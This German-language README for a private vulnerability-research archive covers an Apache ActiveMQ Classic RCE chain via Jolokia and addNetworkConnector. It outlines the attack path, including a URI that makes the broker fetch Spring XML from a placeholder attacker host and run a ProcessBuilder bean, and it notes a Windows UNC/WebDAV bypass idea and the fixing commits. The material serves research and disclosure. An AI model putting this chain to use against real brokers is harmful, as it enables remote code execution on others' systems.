Apache ActiveMQ Classic – RCE-Forschung

Privates Forschungsarchiv für die Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML Remote-Code-Execution-Kette (CVE-2026-34197 und deren Patch-Bypass CVE-2026-42588), plus ein vollständiges automatisches Forschungsaudit der behobenen Version 6.2.6 und ein direkter Vergleich mit Crowdfenses öffentlichem Bypass-Artikel.

Alle Exploitationen wurden gegen lokale Lab-Broker (Docker / selbst gehostet) durchgeführt. Payloads verwenden Platzhalter-Angreifer-Hosts.

Inhaltsverzeichnis

Quelltextbäume und Binärverteilungen des Herstellers, die während der Labore verwendet wurden, sind absichtlich ausgeschlossen (sie stammen vom Upstream, nicht von uns).

Die Schwachstelle in einem Satz

Ein authentifizierter (bei 6.0.0–6.1.1 unauthentifiziert über CVE-2024-32114) Jolokia-Aufrufer ruft BrokerView.addNetworkConnector(uri) mit einer manipulierten Discovery-URI auf, deren innerer vm://…?brokerConfig=xbean:<url> den Broker zwingt, ein angreifergesteuertes Spring-XML zu laden, das eifrig einen ProcessBuilder-Bean vor der Broker-Validierung instanziiert → Betriebssystem-Befehlsausführung.

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

Ergebnisse

Schlagzeile: Drei Ergebnisse sind live nachgewiesen für Root/XSS; das 6.2.6-Audit fügt eine breitere Menge hinzu, die quellenverifiziert und feindlich bewertet, aber noch nicht live detoniert ist. Keines der 6.2.6-Erweiterungen ist eine neue unauthentifizierte RCE – der Anbieter hat diese Türen geschlossen; das Restrisiko verlagerte sich auf Autorisierung und Ausgabekodierung.

Nachgewiesene Exploitation-Kette

Neue Ergebnisse aus dem 6.2.6-Audit (quellenverifiziert)

Nicht im Fokus – DoS (katalogisiert, nicht Schlagzeile)

MQTT QoS ordinal AIOOBE (QoS.values()[ordinal], protokollübergreifend, keine Konfiguration) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · signed-short NegativeArraySizeException in OpenWire-Unmarshal · negative AMQ_SCHEDULED_REPEAT unsterblicher Job.

Vergleich mit dem Crowdfense-Artikel

Crowdfenses Apache ActiveMQ RCE Bypass behandelt die gleiche Kette (sie führen sie unter CVE-2026-34197; wir verfolgen den Bypass als eigenen CVE-2026-42588). Beide Darstellungen stimmen in einer dreischichtigen Verteidigung überein; die einzige Abweichung ist Schicht 2.

Die eine Lücke: Ihr Layer-2-Prozentkodierungs- + UNC/WebDAV-Trick erreicht eine vollständig entfernte Zustellung ohne lokale Schreibprimitive. Der Ausweichfehler, den er ausnutzt (activemq-spring/Utils.java:123-129, ein rohes startsWith("file://") auf dem unkodierten String) ist in unserem genauen Quellcode vorhanden – aber die entfernte Hälfte ist Windows-only (Linux behandelt //host/share als lokalen Pfad), und unser Labor war Linux, daher war es dort nicht ausführbar. Es ist auf 6.2.6 ohnehin tot (das VMTransportFactory Schema-Gate lehnt xbean ab, bevor Utils läuft).

Weiterführend: Ein Windows-gehostetes 5.19.6 (oder ein beliebiges Pre-5.19.7/6.2.6-Build) + SMB/WebDAV-Listener würde es uns ermöglichen, den vollständig entfernten Allow-List-Bypass zu demonstrieren – die einzige Fähigkeit, die der Artikel hat, die unser Engagement nicht gezeigt hat.

Fix (ActiveMQ 6.2.6)

Drei Commits schließen die Kette: c1b44af11 (Composite-URIs ohne Klammern validieren – parseComposite bedingungslos + rekursiv), c2fc7a1d6 (XBeanBrokerFactory standardmäßig über die VMTransportFactory-Schema-Erlaubnisliste blockieren) und be8415f24 (Beispielkonfigurationshärtung: Jolokia auf Loopback, Operationssperrliste mit addNetworkConnector).